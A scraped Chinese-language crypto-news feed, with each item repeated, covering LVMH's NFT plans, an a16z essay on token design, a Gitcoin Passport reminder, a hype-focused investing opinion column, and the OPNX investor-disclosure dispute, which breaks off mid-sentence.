    PANews 4月23日消息，拥有路易威登、迪奥和芬迪等品牌的法国奢侈品巨头 LVMH 首席执行官 Bernard Arnault 在其2023年度股东大会上再次强调LVMH不出售虚拟运动鞋，但他表示，“当我们有NFT的时候，我们会用它来卖一只真正的鞋，一瓶真正的酒。” “你可以用NFT买一瓶酒。酒庄会把这瓶酒，无论是干邑还是别的什么酒，保存在它的酒窖里。当你决定把它卖回给酒庄，或真的享用它的时候，你的NFT虚拟物品就变成了实物。这就是它的工作原理。所以（NFT的背后）有一个真实的产品被出售。” Bernard Arnault解释道。 Antonio Belloni还提到，增强数据交互和人工智能将助力LVMH为客户提供更多个性化产品，实现无缝交易。  ( 1 min )
    奢侈品巨头LVMH：我们只会用NFT卖真正的鞋和真正的酒
    PANews 4月23日消息，拥有路易威登、迪奥和芬迪等品牌的法国奢侈品巨头 LVMH 首席执行官 Bernard Arnault 在其2023年度股东大会上再次强调LVMH不出售虚拟运动鞋，但他表示，“当我们有NFT的时候，我们会用它来卖一只真正的鞋，一瓶真正的酒。” “你可以用NFT买一瓶酒。酒庄会把这瓶酒，无论是干邑还是别的什么酒，保存在它的酒窖里。当你决定把它卖回给酒庄，或真的享用它的时候，你的NFT虚拟物品就变成了实物。这就是它的工作原理。所以（NFT的背后）有一个真实的产品被出售。” Bernard Arnault解释道。 Antonio Belloni还提到，增强数据交互和人工智能将助力LVMH为客户提供更多个性化产品，实现无缝交易。  ( 1 min )
    a16z：早期代币设计中的7个关键问题
    原文：《7 Sanity Checks Before Designing a Token》by Guy Wuollet 编译：Sissi 代币是一种非常强大的新型原语，可以通过多种方式定义；在文章「Tokenology：超越代币经济学」中已经阐述了为什么我们应该将代币的研究和设计考虑得更广泛，而不仅仅是“代币经济学”。 代币为设计带来了非常丰富的空间。但是我们仍处于探索代币设计的早期阶段，更不用说改进了。在这里，我们所追求的圣杯就是计算机科学家常常称之为“龙书”的现代版。这本书指的是《编译原理》（由Alfred Aho、Monica Lam、Ravi Sethi 和 Jeffrey Ullman 所著），有时也可能指早期版本的该书或 Aho 和 Ullman 的早期作品《编译器设计原理》。该书统一、定义并影响了几代计算机科学家对编译器设计的研究。它影响了许多人，以至于该书的两位作者在几年前被授予了ACM图灵奖，其中一位是“为编程语言实现打下基础的算法和理论”，另一位是“通过在他们的高度影响力的书籍中综合这些结果和其他人的成果，教育了几代计算机科学家”。 我们距离像编译器设计领域里的“龙书”那样的代表性著作还有很长的路要走，现在要编写一本关于代币的权威指南还为时过早。我们的研究主管Tim Roughgarden指出，距离这个目标可能还需要十年左右的时间，这是一项长期的工作。在20世纪50年代，编译器设计是一个非常复杂和混乱的计算机科学难题。《龙书》的出现，通过阶段性应用严格的原则，帮助将这个问题转化为了一个更好解决的问题。 但一些早期的机会和陷阱已经变得清晰起来了。因此，我认为，如果我整理一份我们团队在与其他人进行代币设计时经常讨论的一些合理性检查列表，那么这对于那些正在构建代币的人将是有帮助的。我还鼓励大家观看 Eddy Lazzarin 最近关于代币设计的演讲，其中涵盖了心理模型、常见模式和陷阱、当前代币的功能以及许多尚未探索的设计空间。 实际情况是，许多团队试图为自己的项目找到“正确”的代币设计，但通常缺乏测试过的设计框架，因此遇到了其他人曾经遇到的相同挑战。幸运的是，也存在早期的成功案例和“好”的代币设计示例。最有效的代币模型将具有与其目标独特的元素，但大多数有缺陷的代币设计都共享一些常见的缺陷。因此，这里列出了一些有用的提示，以避免最常见的失败模式。 在设计代币时最大的困难是在明确目标之前构建一个复杂的模型。没有所谓的好代币设计或坏代币设计——只有实现你的目标的代币设计或者没有实现目标的代币设计。 第一步应该始终是严谨地审视目标，并确保你（和你的团队）充分理解它：是什么，为什么重要，你真正想要实现什么？没有严谨地定义目标通常会导致重新设计和浪费时间。明确定义目标还有助于避免“为了代币经济而代币经济”的问题，这是对一些代币设计的常见（而且不无道理的）批评。 此外，目标应该针对代币具体而言。这可能看起来很显然，但经常被忽视。以下是一些具体的代币目标示例： 一个游戏想要设计一个最佳的代币模型，以实现可扩展性并支持模组化 一个 DeFi 协议想要设计一个最优的代币模型，以在参与者之间分配风险 一个声誉协议想要确保资金不能直接用于声誉（例如，通过将流动性与声誉信号分离） 一个存储网络想要保证文件低延迟可用 一个质押网络想要提供最大的经济安全 一个治理机制想要获取真实偏好或最大参与度。 ……列表可以不胜枚举。代币可以支持任何用例和目标，而不是反过来 那么，如何开始明确目标呢？明确的目标通常来自于一份使命宣言。虽然使命宣言往往是高层次和抽象的，但目标应该是具体和简化到最基本的形式。 我们以 EIP-1559 为例。Roughgarden 提出的 EIP-1559 的一个明确目标是：“EIP-1559 应通过易于估算费用的优化方式，改善用户体验，使其在需求急剧上升时，能够以‘显而易见的最优出价’的形式存在。“ 他还提出了另一个明确的目标：“我们是否可以重新设计以太坊的交易费用机制，使得设置交易的 gas 价格更像在亚马逊购物？理想的情况是一个公布价格的机制，即为每个用户提供一个接受或放弃的 gas 价格，以便在下一个区块中包含。我们将看到...在 EIP-1559 中提出的交易费用机制就像一个公布价格的机制，除非需求大幅度增加。 这两个例子共同之处在于：阐述了一个高层次的目标；提供了一个易于理解的类比，以帮助他人理解这个目标；然后继续概述最好支持该目标的设计。 在创建新事物时，研究已经存在的东西通常是个好主意。当你评估现有协议和文献时，应该客观地从技术优劣的角度来评价它们。 代币模型经常基于代币价格或相关项目的受欢迎程度进行评估。这些因素可能与代币模型实现其目标的能力无关。估值、受欢迎程度或其他单纯的评估代币模型的方法可能会让构建者走入歧途。 如果你认为其它模型能够正常工作，但实际上它们不能，那么你就可能会创建一个有缺陷的代币模型。如果你为了不同的目标重新使用一个代币模型，你可能会不经意地继承不适合你的代币模型的假设。 当你专注于构建一个代币时，很容易将基本假设视为理所当然。你也很容易错误地表述你真正做出的假设。 让我们以一个新协议为例，假设它的硬件瓶颈是计算速度。将这种假设作为代币模型的一部分（例如，限制参与协议所需的硬件成本）可以帮助将设计与期望的行为对齐。 但是，如果协议和代币设计者没有陈述他们的假设，或者他们陈述的假设是错误的，那么可能会有参与者意识到偏差并从协议中提取价值。“黑客”通常是那些比系统的设计者更了解系统的人。 阐述你的假设可以使人更容易理解你的代币设计，并确保其正常工作。如果没有明确表述你的假设，你也无法验证你的假设…… 俗话说，“让你陷入麻烦的不是你不知道的，而是你肯定知道但并非如此的事情。” 代币模型通常会做出一系列假设。这种方法部分源于拜占庭系统设计的历史，作为区块链的灵感来源。该系统做出假设，并构建一个函数，如果该假设成立，则保证一些输出。例如：比特币保证在同步网络模型中的活跃性，并且如果网络中的51%的哈希功率是诚实的，则保证一致性。有几个较小的区块链已经遭受了51%攻击，违反了纳克莫托共识对区块链正确运行所需的诚实多数假设。 代币设计者可以通过多种方式验证他们的假设。严谨的统计建模，通常以Agent-Based建模的形式，可以帮助测试这些假设。有关人类行为的假设也经常通过与用户交谈并观察人们实际做的事情（而不是他们所说的）来验证，特别是通过激励测试网络在沙盒环境中生成实证结果。 正式验证或密集审核也有助于确保代码库按预期运行。 “抽象屏障”是系统或协议不同层次之间的接口。它用于分离系统的不同组件，使每个组件可以独立设计、实现和修改。清晰的抽象屏障在所有工程领域特别是软件设计中都很有用，对于分散式开发和大团队构建复杂系统更是必要，因为单个人无法理解整个系统。 在代币设计中，清晰的抽象屏障的目标是尽量减少复杂性。减少代币模型不同组件之间的相互依赖性可以得到更干净的代码，更少的漏洞和更好的代币设计。 例如，许多区块链是由大型工程团队构建的。一组可能会假设硬件成本随时间变化而改变，并使用该假设来确定为特定代币价格提供多少挖矿设备。如果另一组依赖于代币价格作为参数，但不知道第一个团队对硬件成本的假设，那么它们可能会做出冲突的假设。 不透明的假设和接口有时会导致难以发现的错误，特别是在早期的 DeFi 协议中。模糊的抽象屏障还通过增加协议不同组件的团队之间的沟通来延长开发时间。模糊的抽象屏障还增加了整个协议的复杂性，使任何一个人都难以完全理解该机制。 通过创建清晰的抽象屏障，代币设计者可以更容易地预测特定的更改将如何影响代币设计的每个部分。清晰的抽象屏障还使扩展自己的代币或协议更加容易，并创建一个更包容和广泛的建设者社区。 在创建代币模型时，经常会使用一些对于系统本身不是固有参数，但会影响整体性能和成功的外部参数，如计算资源的成本、吞吐量或延迟等。 在创建代币模型时，经常会使用一些对于系统本身不是固有参数，但会影响整体性能和成功的外在参数，比如计算资源的成本、吞吐量或延迟等。 危险的是，当代币模型仅在某些参数保持在有限范围内时才能正常工作，就会出现意外行为。例如，考虑一个协议，它销售某项服务并以一定数量的代币奖励形式提供返利：如果代币价格意外飙升，代币奖励的价值可能会超过服务的成本。在这种情况下，从该协议购买无限数量的服务是有利可图的，从而导致奖励用尽或服务被完全利用。 再举一个例子：去中心化网络通常依赖于加密或计算难题，这些难题非常困难，但并非不可能解决。这些难题的难度通常取决于外部变量，比如计算机可以计算哈希函数或零知识证明的速度。想象一下一个协议，它假设能够快速计算某个哈希函数的速度，并相应地支付代币奖励。如果有人发明了一种更快地计算该哈希函数的方法，或者只是拥有不成比例的巨大资源来解决该问题，他们就可以获得意外的大量代币奖励。 设计一个代币应该像设计一个对抗性系统那样。假设系统中存在拜占庭行为（即可能有不忠诚的节点）。用户的行为会随着代币运行方式的变化而发生改变。 设计者常犯的一个错误是在调整代币模型时没有确保任意用户行为仍然能产生可接受的结果。不要假设用户行为在代币模型变化时会保持不变。这种错误通常发生在设计过程的后期：有人花费了大量时间定义代币的目标、功能，并验证其是否按预期工作。然后，他们识别出一个边缘案例并调整代币设计以适应它……但是忘记了重新验证整个代币模型。他们在解决一个边缘案例时，可能会产生另一个（或几个）意外后果。 不要让辛苦的工作付之东流：每当项目更改其代币模型时，请重新验证它是否按预期工作。  ( 2 min )
    a16z：早期代币设计中的7个关键问题
    原文：《7 Sanity Checks Before Designing a Token》by Guy Wuollet 编译：Sissi 代币是一种非常强大的新型原语，可以通过多种方式定义；在文章「Tokenology：超越代币经济学」中已经阐述了为什么我们应该将代币的研究和设计考虑得更广泛，而不仅仅是“代币经济学”。 代币为设计带来了非常丰富的空间。但是我们仍处于探索代币设计的早期阶段，更不用说改进了。在这里，我们所追求的圣杯就是计算机科学家常常称之为“龙书”的现代版。这本书指的是《编译原理》（由Alfred Aho、Monica Lam、Ravi Sethi 和 Jeffrey Ullman 所著），有时也可能指早期版本的该书或 Aho 和 Ullman 的早期作品《编译器设计原理》。该书统一、定义并影响了几代计算机科学家对编译器设计的研究。它影响了许多人，以至于该书的两位作者在几年前被授予了ACM图灵奖，其中一位是“为编程语言实现打下基础的算法和理论”，另一位是“通过在他们的高度影响力的书籍中综合这些结果和其他人的成果，教育了几代计算机科学家”。 我们距离像编译器设计领域里的“龙书”那样的代表性著作还有很长的路要走，现在要编写一本关于代币的权威指南还为时过早。我们的研究主管Tim Roughgarden指出，距离这个目标可能还需要十年左右的时间，这是一项长期的工作。在20世纪50年代，编译器设计是一个非常复杂和混乱的计算机科学难题。《龙书》的出现，通过阶段性应用严格的原则，帮助将这个问题转化为了一个更好解决的问题。 但一些早期的机会和陷阱已经变得清晰起来了。因此，我认为，如果我整理一份我们团队在与其他人进行代币设计时经常讨论的一些合理性检查列表，那么这对于那些正在构建代币的人将是有帮助的。我还鼓励大家观看 Eddy Lazzarin 最近关于代币设计的演讲，其中涵盖了心理模型、常见模式和陷阱、当前代币的功能以及许多尚未探索的设计空间。 实际情况是，许多团队试图为自己的项目找到“正确”的代币设计，但通常缺乏测试过的设计框架，因此遇到了其他人曾经遇到的相同挑战。幸运的是，也存在早期的成功案例和“好”的代币设计示例。最有效的代币模型将具有与其目标独特的元素，但大多数有缺陷的代币设计都共享一些常见的缺陷。因此，这里列出了一些有用的提示，以避免最常见的失败模式。 在设计代币时最大的困难是在明确目标之前构建一个复杂的模型。没有所谓的好代币设计或坏代币设计——只有实现你的目标的代币设计或者没有实现目标的代币设计。 第一步应该始终是严谨地审视目标，并确保你（和你的团队）充分理解它：是什么，为什么重要，你真正想要实现什么？没有严谨地定义目标通常会导致重新设计和浪费时间。明确定义目标还有助于避免“为了代币经济而代币经济”的问题，这是对一些代币设计的常见（而且不无道理的）批评。 此外，目标应该针对代币具体而言。这可能看起来很显然，但经常被忽视。以下是一些具体的代币目标示例： 一个游戏想要设计一个最佳的代币模型，以实现可扩展性并支持模组化 一个 DeFi 协议想要设计一个最优的代币模型，以在参与者之间分配风险 一个声誉协议想要确保资金不能直接用于声誉（例如，通过将流动性与声誉信号分离） 一个存储网络想要保证文件低延迟可用 一个质押网络想要提供最大的经济安全 一个治理机制想要获取真实偏好或最大参与度。 ……列表可以不胜枚举。代币可以支持任何用例和目标，而不是反过来 那么，如何开始明确目标呢？明确的目标通常来自于一份使命宣言。虽然使命宣言往往是高层次和抽象的，但目标应该是具体和简化到最基本的形式。 我们以 EIP-1559 为例。Roughgarden 提出的 EIP-1559 的一个明确目标是：“EIP-1559 应通过易于估算费用的优化方式，改善用户体验，使其在需求急剧上升时，能够以‘显而易见的最优出价’的形式存在。“ 他还提出了另一个明确的目标：“我们是否可以重新设计以太坊的交易费用机制，使得设置交易的 gas 价格更像在亚马逊购物？理想的情况是一个公布价格的机制，即为每个用户提供一个接受或放弃的 gas 价格，以便在下一个区块中包含。我们将看到...在 EIP-1559 中提出的交易费用机制就像一个公布价格的机制，除非需求大幅度增加。 这两个例子共同之处在于：阐述了一个高层次的目标；提供了一个易于理解的类比，以帮助他人理解这个目标；然后继续概述最好支持该目标的设计。 在创建新事物时，研究已经存在的东西通常是个好主意。当你评估现有协议和文献时，应该客观地从技术优劣的角度来评价它们。 代币模型经常基于代币价格或相关项目的受欢迎程度进行评估。这些因素可能与代币模型实现其目标的能力无关。估值、受欢迎程度或其他单纯的评估代币模型的方法可能会让构建者走入歧途。 如果你认为其它模型能够正常工作，但实际上它们不能，那么你就可能会创建一个有缺陷的代币模型。如果你为了不同的目标重新使用一个代币模型，你可能会不经意地继承不适合你的代币模型的假设。 当你专注于构建一个代币时，很容易将基本假设视为理所当然。你也很容易错误地表述你真正做出的假设。 让我们以一个新协议为例，假设它的硬件瓶颈是计算速度。将这种假设作为代币模型的一部分（例如，限制参与协议所需的硬件成本）可以帮助将设计与期望的行为对齐。 但是，如果协议和代币设计者没有陈述他们的假设，或者他们陈述的假设是错误的，那么可能会有参与者意识到偏差并从协议中提取价值。“黑客”通常是那些比系统的设计者更了解系统的人。 阐述你的假设可以使人更容易理解你的代币设计，并确保其正常工作。如果没有明确表述你的假设，你也无法验证你的假设…… 俗话说，“让你陷入麻烦的不是你不知道的，而是你肯定知道但并非如此的事情。” 代币模型通常会做出一系列假设。这种方法部分源于拜占庭系统设计的历史，作为区块链的灵感来源。该系统做出假设，并构建一个函数，如果该假设成立，则保证一些输出。例如：比特币保证在同步网络模型中的活跃性，并且如果网络中的51%的哈希功率是诚实的，则保证一致性。有几个较小的区块链已经遭受了51%攻击，违反了纳克莫托共识对区块链正确运行所需的诚实多数假设。 代币设计者可以通过多种方式验证他们的假设。严谨的统计建模，通常以Agent-Based建模的形式，可以帮助测试这些假设。有关人类行为的假设也经常通过与用户交谈并观察人们实际做的事情（而不是他们所说的）来验证，特别是通过激励测试网络在沙盒环境中生成实证结果。 正式验证或密集审核也有助于确保代码库按预期运行。 “抽象屏障”是系统或协议不同层次之间的接口。它用于分离系统的不同组件，使每个组件可以独立设计、实现和修改。清晰的抽象屏障在所有工程领域特别是软件设计中都很有用，对于分散式开发和大团队构建复杂系统更是必要，因为单个人无法理解整个系统。 在代币设计中，清晰的抽象屏障的目标是尽量减少复杂性。减少代币模型不同组件之间的相互依赖性可以得到更干净的代码，更少的漏洞和更好的代币设计。 例如，许多区块链是由大型工程团队构建的。一组可能会假设硬件成本随时间变化而改变，并使用该假设来确定为特定代币价格提供多少挖矿设备。如果另一组依赖于代币价格作为参数，但不知道第一个团队对硬件成本的假设，那么它们可能会做出冲突的假设。 不透明的假设和接口有时会导致难以发现的错误，特别是在早期的 DeFi 协议中。模糊的抽象屏障还通过增加协议不同组件的团队之间的沟通来延长开发时间。模糊的抽象屏障还增加了整个协议的复杂性，使任何一个人都难以完全理解该机制。 通过创建清晰的抽象屏障，代币设计者可以更容易地预测特定的更改将如何影响代币设计的每个部分。清晰的抽象屏障还使扩展自己的代币或协议更加容易，并创建一个更包容和广泛的建设者社区。 在创建代币模型时，经常会使用一些对于系统本身不是固有参数，但会影响整体性能和成功的外部参数，如计算资源的成本、吞吐量或延迟等。 在创建代币模型时，经常会使用一些对于系统本身不是固有参数，但会影响整体性能和成功的外在参数，比如计算资源的成本、吞吐量或延迟等。 危险的是，当代币模型仅在某些参数保持在有限范围内时才能正常工作，就会出现意外行为。例如，考虑一个协议，它销售某项服务并以一定数量的代币奖励形式提供返利：如果代币价格意外飙升，代币奖励的价值可能会超过服务的成本。在这种情况下，从该协议购买无限数量的服务是有利可图的，从而导致奖励用尽或服务被完全利用。 再举一个例子：去中心化网络通常依赖于加密或计算难题，这些难题非常困难，但并非不可能解决。这些难题的难度通常取决于外部变量，比如计算机可以计算哈希函数或零知识证明的速度。想象一下一个协议，它假设能够快速计算某个哈希函数的速度，并相应地支付代币奖励。如果有人发明了一种更快地计算该哈希函数的方法，或者只是拥有不成比例的巨大资源来解决该问题，他们就可以获得意外的大量代币奖励。 设计一个代币应该像设计一个对抗性系统那样。假设系统中存在拜占庭行为（即可能有不忠诚的节点）。用户的行为会随着代币运行方式的变化而发生改变。 设计者常犯的一个错误是在调整代币模型时没有确保任意用户行为仍然能产生可接受的结果。不要假设用户行为在代币模型变化时会保持不变。这种错误通常发生在设计过程的后期：有人花费了大量时间定义代币的目标、功能，并验证其是否按预期工作。然后，他们识别出一个边缘案例并调整代币设计以适应它……但是忘记了重新验证整个代币模型。他们在解决一个边缘案例时，可能会产生另一个（或几个）意外后果。 不要让辛苦的工作付之东流：每当项目更改其代币模型时，请重新验证它是否按预期工作。  ( 2 min )
    Gitcoin官方提醒用户检查Gitcoin Passport是否为最新版本
    PANews 4月23日消息，Gitcoin 发推称 Gitcoin Program Beta Round 捐赠活动即将到来，官方提醒用户可以先检查一下 Gitcoin Passport 是否为最新版本，官方会每 90 天重置一次 Passport 以确保用户所有资格为最新。为了参加 Gitcoin Beta 轮捐赠活动，用户必须在 4 月 25 日活动上线之前重新收集 Stamp。 此前报道，Gitcoin将于4月25日至5月9日开放新一轮捐赠活动。 相关阅读：详解GitcoinPassport：去中心化网络的公民护照  ( 2 min )
    Gitcoin官方提醒用户检查Gitcoin Passport是否为最新版本
    PANews 4月23日消息，Gitcoin 发推称 Gitcoin Program Beta Round 捐赠活动即将到来，官方提醒用户可以先检查一下 Gitcoin Passport 是否为最新版本，官方会每 90 天重置一次 Passport 以确保用户所有资格为最新。为了参加 Gitcoin Beta 轮捐赠活动，用户必须在 4 月 25 日活动上线之前重新收集 Stamp。 此前报道，Gitcoin将于4月25日至5月9日开放新一轮捐赠活动。 相关阅读：详解GitcoinPassport：去中心化网络的公民护照  ( 2 min )
    加密市场赚钱法则：智商先归零，“无脑”相信新故事
    原文：《Embrace Being an Idiot - It WILL Make You a Better Crypto Investor》by Theo Delarosa 编译：深潮 TechFlow 如何成为成功的加密投资者是一个长久的话题，普通人是否都是因为技术规格和“基本面”进行投资？让人盆满钵满的小图片和 Meme 币是因为有更好的基本面吗？Theo Delarosa 另辟蹊径，从另一个角度探讨为什么基本面不会让你成为更好的加密货币投资者，而更好的方法是什么。 最近的热点已经确定了当前加密货币主要由炒作、叙事和催化剂推动。想想你自己或其他你所认识的人。是什么吸引你来到这个领域？是你看到别人在这里赚到了大钱，还是加密货币是世界的革命者？ 懂了吗？毫无疑问，去中心化和区块链如何改革我们的金融系统是一个非常好的卖点！它吸引并捕捉到许多新手投资者的想象力。说实话，也许你确实被这个叙事说吸引，或者认识某个被它吸引的人。 如果你获得长期成功，你必须将自己置于买家思维模式中，你要向他们销售东西。这就是你获利的方式。你向他们销售什么？它可以是一个服务或产品，但主要是与想法、感觉、品牌、故事或印象相关联。人们相信故事，而且越容易理解，越好。 例如下面这两种解释： 你会选择哪个？ 选择即使 IQ 为零也能理解的简单想法。它可以保护你的资金，节省你的钱，更快捷，解决问题等。这是吸引广泛受众的东西，这些是人们关心的事情。有多少 L1、钱包、DEX、借贷等存在？比众多竞争对手略胜一筹的公司会取得成功吗？ 这一切难道不都是因为投机？！正如历史一次次地证明的那样，当有炒作和投机时，就会有机会。所以这是我们的重点。加密货币可能最终成为未来，也有可能不成为——唯有真正的采用才能决定这一点。我们能控制的是降低我们的智商，来看待加密货币。 让我们通过一些已经发生的事情来进一步探索，并基于上述例子中的两种描述（Broke、Bespoke）来从不同的角度分析事情。 过去的叙事 NFT Broke：这些只是毫无内在价值或用处的小图片。我不可能花数百或数千美元来购买一张 JPEG，归零是迟早的事。 Bespoke：一种新的资产类别已经进入了世界！人们喜欢新鲜事物。它会引起炒作、兴趣、投机，并吸引大量希望建立自己的品牌的人。怎么看都是赚钱的气味！ Broke：聪明人都知道以太坊将成为主导 L1，因为它的技术和规格在我看来是最好的，把钱花费在其他 L1 上纯粹是白痴行为。 Bespoke：对于新用户而言，以太坊相当昂贵... 普通人不可能支付 25-50 美元的 Gas 费。看看所有这些专注于自己特定用例的新链，无疑是令人兴奋的。它们正在吸引那些被 ETH 挤出市场的资金、建设者和用户。 Broke：技术仍处于早期阶段，游戏画面看起来还不如 4399 小游戏。此外，经济模型还不成熟。这是一场大型庞氏骗局！ Bespoke：游戏在现实世界中非常重要！能够利用区块链进入游戏领域将是巨大的。几个早期项目的代币经济学和游戏内经济模型可能很糟糕，但游戏是吸引数百万新用户进入加密最有可能的途径之一。 Broke：毫无技术，毫无用处，远离 Meme。 Bespoke：实际上，大多数人之所以进入加密货币或听说过加密货币，是因为某些 Meme 币让一些人赚了很多钱。这就是吸引人们并创造流动性增长的原因。梦想家梦想成真。 Broke：AI 跟加密货币八竿子打不着，纯纯的区块链骗局。 Bespoke：AI 是人类下一场革命，与区块链融合将带来下一次赚钱的机会！ 归根结底，重要的是要了解市场状况、参与者、他们的目标和动机，以及各种不同行业和叙事的利弊。在加密货币中拥抱白痴并不意味着要成为一个真正的白痴，而是要打开自己的思维，了解更广泛市场中人们的想法。让自己置身于他们的境地，看到他们所看到的，思考他们的思维方式。 做最聪明的白痴。  ( 2 min )
    加密市场赚钱法则：智商先归零，“无脑”相信新故事
    原文：《Embrace Being an Idiot - It WILL Make You a Better Crypto Investor》by Theo Delarosa 编译：深潮 TechFlow 如何成为成功的加密投资者是一个长久的话题，普通人是否都是因为技术规格和“基本面”进行投资？让人盆满钵满的小图片和 Meme 币是因为有更好的基本面吗？Theo Delarosa 另辟蹊径，从另一个角度探讨为什么基本面不会让你成为更好的加密货币投资者，而更好的方法是什么。 最近的热点已经确定了当前加密货币主要由炒作、叙事和催化剂推动。想想你自己或其他你所认识的人。是什么吸引你来到这个领域？是你看到别人在这里赚到了大钱，还是加密货币是世界的革命者？ 懂了吗？毫无疑问，去中心化和区块链如何改革我们的金融系统是一个非常好的卖点！它吸引并捕捉到许多新手投资者的想象力。说实话，也许你确实被这个叙事说吸引，或者认识某个被它吸引的人。 如果你获得长期成功，你必须将自己置于买家思维模式中，你要向他们销售东西。这就是你获利的方式。你向他们销售什么？它可以是一个服务或产品，但主要是与想法、感觉、品牌、故事或印象相关联。人们相信故事，而且越容易理解，越好。 例如下面这两种解释： 你会选择哪个？ 选择即使 IQ 为零也能理解的简单想法。它可以保护你的资金，节省你的钱，更快捷，解决问题等。这是吸引广泛受众的东西，这些是人们关心的事情。有多少 L1、钱包、DEX、借贷等存在？比众多竞争对手略胜一筹的公司会取得成功吗？ 这一切难道不都是因为投机？！正如历史一次次地证明的那样，当有炒作和投机时，就会有机会。所以这是我们的重点。加密货币可能最终成为未来，也有可能不成为——唯有真正的采用才能决定这一点。我们能控制的是降低我们的智商，来看待加密货币。 让我们通过一些已经发生的事情来进一步探索，并基于上述例子中的两种描述（Broke、Bespoke）来从不同的角度分析事情。 过去的叙事 NFT Broke：这些只是毫无内在价值或用处的小图片。我不可能花数百或数千美元来购买一张 JPEG，归零是迟早的事。 Bespoke：一种新的资产类别已经进入了世界！人们喜欢新鲜事物。它会引起炒作、兴趣、投机，并吸引大量希望建立自己的品牌的人。怎么看都是赚钱的气味！ Broke：聪明人都知道以太坊将成为主导 L1，因为它的技术和规格在我看来是最好的，把钱花费在其他 L1 上纯粹是白痴行为。 Bespoke：对于新用户而言，以太坊相当昂贵... 普通人不可能支付 25-50 美元的 Gas 费。看看所有这些专注于自己特定用例的新链，无疑是令人兴奋的。它们正在吸引那些被 ETH 挤出市场的资金、建设者和用户。 Broke：技术仍处于早期阶段，游戏画面看起来还不如 4399 小游戏。此外，经济模型还不成熟。这是一场大型庞氏骗局！ Bespoke：游戏在现实世界中非常重要！能够利用区块链进入游戏领域将是巨大的。几个早期项目的代币经济学和游戏内经济模型可能很糟糕，但游戏是吸引数百万新用户进入加密最有可能的途径之一。 Broke：毫无技术，毫无用处，远离 Meme。 Bespoke：实际上，大多数人之所以进入加密货币或听说过加密货币，是因为某些 Meme 币让一些人赚了很多钱。这就是吸引人们并创造流动性增长的原因。梦想家梦想成真。 Broke：AI 跟加密货币八竿子打不着，纯纯的区块链骗局。 Bespoke：AI 是人类下一场革命，与区块链融合将带来下一次赚钱的机会！ 归根结底，重要的是要了解市场状况、参与者、他们的目标和动机，以及各种不同行业和叙事的利弊。在加密货币中拥抱白痴并不意味着要成为一个真正的白痴，而是要打开自己的思维，了解更广泛市场中人们的想法。让自己置身于他们的境地，看到他们所看到的，思考他们的思维方式。 做最聪明的白痴。  ( 2 min )
    OPNX上演融资“罗生门”：多家投资机构集体否认参投，CEO却称有公开文件可证明
    近日，三箭资本创始人Su Zhu等人创办的加密索赔交易平台Open Exchange（OPNX）在公布其主要投资者后剧情出现反转，包括DRW、Nascent、MIAX和Susquehanna等多家公司都接连否认投资了OPNX，双方各执一词，并互相指责对方说谎，俨然一场“罗生门”。 4月21日，OPNX发推文公布了其主要投资者，包括AppWorks、Susquehanna (SIG)、DRW VC、MIAX Group、Merchant Bank International（招行国际）的香港分行、Token Bay Capital、Nascent、Tuwaiq Limited等，并表示这些机构不仅提供了资金，还在其愿景、代币经济学、法律框架及搬迁至香港的决定等方面给予了帮助。 然而，OPNX公布投资者名单不久就被迅速“打脸”。DRW的一位发言人在电子邮件中表示，“DRW不是OPNX的投资者，其附属公司也不是OPNX的投资者。”与此同时，Nascent表示其没有参与OPNX的融资轮，但在2021年初投资了FLEX代币。随后MIAX也证实其不是OPNX的投资者，并补充表示没有购买任何FLEX。 此外，Susquehanna的一位发言人表示：“我们知道CoinFLEX与OPNX的拟议交易。我们没有投票赞成或以其他方式批准这项拟议的交易。我们没有向OPNX提供任何资金，也没有这样做的意图。” 针对多家机构否认投资OPNX一事，OPNX在推特上回应称，“OPNX的核心价值观是透明度，所以我们披露了机构支持者和关键战略合作伙伴。而公司在寻求经济利益的同时，又害怕来自舆论的反对压力而否认存在关联，这很难看。如果任何一方在致力于透明度和行业发展方面动摇了，那么我们对他们的虚假陈述表示失望，并希望未来不要让他们作为投资者。” 另外，OPNX CEO Leslie Lamb则表示，机构支持者要么直接投资OPNX，要么通过CoinFLEX重组就股权进行谈判，公开法庭文件可以证明。 对于资本圈这一“罗生门”大戏，真相究竟是什么？或许我们要从OPNX的创建和CoinFLEX之间的联系说起。 OPNX是由已破产的三箭资本创始人Su Zhu、Kyle Davies与加密交易所CoinFLEX联合创始人Mark Lamb合作推出的，用户可以在该市场上交易Celsius、Genesis、BlockFi、Mt. Gox和三箭资本等破产Web3公司的代币化债权（相关阅读：两个暴雷团队合伙再创业，三箭资本拟新创办的债权交易市场能救FTX受害者吗？）。今年3月，有知情人士称OPNX完成了2500万美元融资，该消息也被Su Zhu转发证实。 而CoinFLEX是一家加密货币衍生品交易所，2022年6月，该平台宣布暂停提款，并解释是由于“比特币耶稣” Roger Ver欠款导致了平台出现流动性危机，已向Roger Ver发出违约通知，索赔4700万枚USDC。对此，Roger Ver第一时间予以否认，并表示CoinFLEX倒欠自己一笔钱。据此前吴说报道，此债务真相是拥有CoinFLEX特殊账户的Roger Ver的头寸彻底穿仓，变成了负资产，而CoinFlex则持有着一堆归零的FLEX。据统计，CoinFLEX的真实亏损达到1.2亿美元，包括因稳定币FlexUSD的脱锚造成的损失等。 2022年8月，CoinFLEX在塞舌尔法院申请重组，并表示将寻求储户和法院的批准，以向储户发行rvUSD代币、股权和锁定的FLEX代币。该重组计划以近99%的支持率投票获得通过，债权人将拥有公司65%的股份，CoinFLEX团队将被分配15%的股份，同时B轮投资者也将继续成为重组公司的股东，BCH联盟将承担SmartBCH跨链桥的责任。但根据CoinFLEX CEO Mark Lamb 的说法，此重组计划因为Roger Ver和Blockchaincom CEO Peter Smith的不断干预，导致无法无法进行。 而CoinFLEX也于今年3月证实被OPNX收购，包括人员、技术和代币等所有资产，并更名为OPNX。也就是说，CoinFLEX品牌重塑后，其债权人、投资者等所持股份“被迫”变成了OPNX的股份。 “下面这个说法比较客观。这些投资人都是上个老项目（CoinFLEX）的投资人，重组之后转成OPNX股权，但不能据此说它们是新项目的战略投资人，这种说法本身有误导性（故意误导？）。公告里故意省略这些细节，显然是不妥的。困境公司转股到新公司，老投资人都是被迫无奈，还被二次消费，不爽也很合理。”dForce创始人杨民道表示。 部分投资机构也证实了这种说法。AppWorks官方发推文表示，他们是CoinFLEX的投资人，支持Mark Lamb这位创始者，并理解他努力为全体利害关系人谋求最大利益，我们的CoinFlex股权被转进OPNX，AppWorks未对OPNX投入资金。我们从未见过Su Zhu或Kyle 